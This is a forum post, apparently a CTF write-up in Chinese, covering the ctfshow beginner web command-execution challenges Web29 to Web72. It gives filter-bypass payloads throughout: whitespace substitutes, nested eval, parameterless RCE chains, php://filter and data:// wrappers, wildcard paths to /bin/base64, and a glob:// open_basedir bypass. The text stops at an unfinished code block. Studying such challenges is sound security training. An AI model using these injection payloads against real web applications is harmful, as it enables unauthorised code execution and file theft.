ctfshow-Web入门-命令执行wp

打印 上一主题 下一主题

主题 865|帖子 865|积分 2597

Web29:

​        简单的命令执行,使用/i模式过滤大小写flag,可以使用通配符绕过过滤。

Web30:

​        比上一题多过滤system与php,可以使用其他函数来执行命令,具体可以参考PHP中常见的命令执行函数与代码执行函数_-passthru-CSDN博客
  1. 注意:       
  2.         system(),passthru()自动输出结果         
  3.         exec(),shell_exec()需要打印(echo/print)结果,且exec()仅打印最后一行
复制代码

Web31:

​        多过滤cat,sort,shell,'.',空格,'''
​                cat,sort可用其他查询命令,如tac,nl等;使用passthru绕过命令执行函数;'''单引号使用双引号绕过。
​                空格绕过可以写个脚本列出绕过空格的字符串一一进行尝试
  1. """
  2. %20 空格
  3. %09 TAB(水平)
  4. %0a 新的一行
  5. %0c 新的一页
  6. %od return
  7. %ob TAB(垂直)
  8. %a0 空格
  9. /**/ sql注释绕过
  10. ${IFS}
  11. $IFS$9
  12. """
  13. dit=('%20','%09','%0a','%0c','%0d','%a0','/**/','$IFS','${IFS}')
  14. temp_payload="tac fla*"
  15. for i in range(len(dit)):
  16.     payload=temp_payload.replace(' ',dit[i])
  17.     print("the replace str is:{}\n the replace payload is:  {}".format(dit[i],payload))
  18.     print("-------------------------------------------------")
复制代码


​        payload:?c=passthru("tac%09fla*");

​        看其他师傅的wp(https://ctf.show/writeups/806344)发现还有好多其他方法:
方法一:
可以尝试通过嵌套eval函数来获取另一个参数的的方法来绕过,因为这里只判断了c这个参数,并不会判断其他参数的传入
  1. c=eval($_GET[a]);&a=system('cat flag.php');
  2. 这里注意后面是a的参数,而不是c的参数,这个payload共传递了两个参数,第一个为嵌套eval第二个为向嵌套的eval传入参数
复制代码
方法二(无参数rce):
可以利用已知的其他函数来凑出所需要的字符串来绕过
  1. c=show_source(next(array_reverse(scandir(pos(localeconv())))));
  2. localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回数组第一个"."
  3. pos():输出数组第一个元素,不改变指针;
  4. scandir();遍历目录,这里因为参数为"."所以遍历当前目录
  5. array_reverse():元组倒置
  6. next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
  7. show_source():查看源码
复制代码
Web32:

​        多过滤|`|echo|;|\(
​        没有过滤include,可以使用include+伪协议进行文件读取
  1.         payload:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
复制代码

Web33:

​        多过滤' " '(双引号),方法同上
Web34:

​        多过滤' : ',include已经将语句闭合,不影响后面伪协议代码,payload同Web32
Web35:

​        多过滤' < ',' = ',payload同Web32
Web36:

​        多过滤' / ',数字,没过滤字符,将Web32的payload1改成a继续用
Web37:

​        题目使用include包含输入,使用php的伪协议data进行文件读取
用法:
  1. data://text/plain,     data://text/plain;base64,
复制代码
  1. payload:?c=data://text/plain,<?php system('tac fla*');?>
复制代码

Web38:

​        过滤php,file,使用短标签或者base64编码绕过
  1. <?= ?> == <?php echo?>
复制代码
  1. payload: ?c=data://text/plain,<?= system('tac fla*');?>
复制代码

Web39:

​        强制给include添加后缀无法阻止伪协议内的php代码执行,只会在代码执行后报错
​        payload同上
Web40:

​        过滤大多数符号和数字,但是过滤的括号为中文括号,所以可以使用无参数rce
参考师傅们的wp:
法一:
c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');
get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。
next()将内部指针指向数组中的下一个元素,并输出。
array_pop() 函数删除数组中的最后一个元素并返回其值。
  1. payload:
  2.         ?c=eval(array_pop(next(get_defined_vars())));
  3.         Post: 1=system("tac flag.php")
复制代码

法二:
c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd()))));
getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())
  1. payload:
  2.         c=show_source(next(array_reverse(scandir(getcwd()))));
  3.         c=show_source(next(array_reverse(scandir(pos(localeconv())))));
复制代码

Web41:

​        参考羽师傅博客
​        过滤字母,数字以及大部分运算符,但未过滤或运算符“|”,
​        可采用先从asscii码中找到或运算能得到可用的字符,然后从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符。
Web42:

​        过滤如下:
  1. /dev/null:将输出的所有数据输入进一个不保存的临时文件(无回显)[黑洞文件]
  2. 2>&1:将错误输出重定向指向标准输出,一并输入进临时文件
复制代码
​        使用;或者%09分隔为两条命令,将后一条命令执行结果输入黑洞文件。
  1. payload:c=tac flag.php;
复制代码

Web43:

​        过滤' ; ','cat',可以使用%0a,||等进行过滤
  1. payload:c=tac flag.php||
复制代码

Web44:

​        多过滤flag,通配符绕过

Web45:

​        多过滤空格,用${IFS}或者$IFS$9绕过

Web46:

​        多过滤数字,' $ ',' * '。
​        法一:虽然过滤了数字,但是仍然可以用%09来绕过空格,%09会先进行url解码再被过滤规则判断。

​        法二:使用重定向符(' < ')将flag.php的内容传递给tac进行输出。
​                         (使用重定向符后不能使用?不然不会回显,可以使用\或者''进行分隔)
  1. “<”与“>”的用法:
复制代码
  1. 在 Linux 命令行中,< 和 > 符号是用来进行输入输出重定向的。它们的详细用法如下:
  2. < 符号:将文件内容作为命令的输入
  3. 可以使用 < 符号将一个文件的内容作为命令的输入,例如:
  4. $ cat < input.txt
  5. 上述命令将会把文件 input.txt 的内容作为 cat 命令的输入,然后输出到终端。
  6. > 符号:将命令的输出保存到文件中
  7. 可以使用 > 符号将命令的输出保存到一个文件中,例如:
  8. $ ls -l > output.txt
  9. 上述命令将会执行 ls -l 命令,并将输出结果保存到 output.txt 文件中。
  10. >> 符号:将命令的输出追加到文件末尾
  11. 和 > 符号类似,>> 符号可以将命令的输出保存到一个文件中,但是它会将输出内容追加到文件末尾,而不是覆盖文件原有的内容,例如:
  12. $ echo "Hello" >> output.txt
  13. $ echo "World" >> output.txt
  14. 上述命令将会分别把字符串 "Hello" 和 "World" 追加到 output.txt 文件的末尾。
  15. 2> 和 2>> 符号:将命令的错误输出保存到文件中
  16. 有些命令在执行时可能会产生错误输出,可以使用 2> 和 2>> 符号将错误输出保存到一个文件中,例如:
  17. $ ls -l /not/exist 2> error.txt
  18. 上述命令将会执行 ls -l /not/exist 命令,但是由于 /not/exist 文件不存在,会产生一个错误输出,这个错误输出会被保存到 error.txt 文件中。
复制代码
Web47-50:

​        多过滤一些查询的命令,payload同Web46

Web51:

​        过滤tac,使用nl查询
Web52:

​        过滤重定向符,但是' $ '放出来了,继续使用${IFS}绕过空格,nl查看不在网站目录,ls查看根目录存在flag。

Web53:

​        添加命令的回显,system()成功则返回命令输出的最后一行,失败则返回 false
​       
  1. payload:?c=nl${IFS}fla?.php
复制代码

Web54:

​        使用正则匹配命令,可使用未过滤的uniq,grep进行查找,也可以使用mv或者cp对文件重命名进行访问

Web55:

​        过滤字符,可以使用通配符调用/bin/base64来对flag.php进行输出
  1. payload:?c=/???/????64 ????.???
复制代码

Web56:

​        字母数字全过滤,参考
Web57:

​        过滤数字字符,可以利用特性来构建数字
  1. echo ${_}:返回上一次命令的执行结果,若上一次没有命令输出0
  2. 可用
  3. ${_}=""
  4. $((${_}))=0
  5. $((~$((${_}))))=-1
  6. 然后拼接出-36在进行取反
复制代码
  1. payload:
  2. /?c=$((~$((]$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
  3. $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
  4. $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
  5. $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
  6. $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
  7. $(())))$((~$(())))$((~$(())))))))
复制代码

Web58~65:

​        php.ini在后台对system,shell_exec等常见命令执行函数进行过滤,可以调用php内置函数进行文件读取,参考
  1. 常见文件读取函数:
  2. file_get_contents   
  3. fread
  4. fgets
  5. fgetss
  6. file
  7. parse_ini_file
  8. readfile   
  9. highlight_file  
  10. show_source
复制代码
  1. [/code][img]https://typora-img-1312872121.cos.ap-chengdu.myqcloud.com/202312111102390.png[/img]
  2. [size=4]Web66:[/size]
  3. ​        使用highlight_file()读取文件,目录下的flag.php为假flag,调用print_r与scandir()来代替ls查看目录,可以参考[url=https://blog.csdn.net/anihasiyou/article/details/11921301]这篇文章[/url]看echo(),print(),print_r()的区别,简单来说就是print_r可以打印数组。
  4. [img]https://typora-img-1312872121.cos.ap-chengdu.myqcloud.com/202312111114764.png[/img]
  5. [size=4]web67:[/size]
  6. ​        比上题多过滤print_r();用var_dump()输出
  7. [size=4]web68:[/size]
  8. ​        比上题多过滤highlight_file();用require()或者include()
  9. [size=4]web69:[/size]
  10. ​        比上题多过滤var_dump();用var_export()代替
  11. [code]冷门函数
  12. 打印函数:print、echo
  13. print和echo无法打印数组,利用implode函数将数组转换成字符串再打印
  14. 查看目录下文件:scandir
  15. 读取函数readgzfile:可以读取非gz格式的文件
  16. payload:?c=echo(implode('---',scandir("/")));
  17.                 ?c=readgzfile('/flag.txt');
复制代码
web70:

​        过滤 error_reporting(),ini_set();
​        同上
Web71:

​        查看源码:
  1. ob_get_contents — 返回输出缓冲区的内容
  2. ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲
复制代码
先执行$c,然后将结果放在缓冲区,将缓冲区的所有字母和数字替换为?.
可以在执行$c时使用die(),exit()直接退出缓冲区进行输出。
​        查看flag.php无返回,继续使用var_export(scandir('/'))扫描目录,include读取文件。

Web72:

​        使用了open_basedir进行文件访问限制,可以使用使用glob://伪协议绕过open_basedir,可以参考shu师傅的博客[ctfshow]web入门——命令执行(web72-web77)_命令执行 web72-CSDN博客
  1. c=?><?php $a=new DirectoryIterator("glob:///*");
  2. foreach($a as $f)
  3. {echo($f->__toString().' ');
  4. }
  5. exit(0);
  6. ?>
复制代码

使用include()访问发现没有权限,使用群里师傅们的uaf脚本进行文件读取
[code]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

用多少眼泪才能让你相信

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表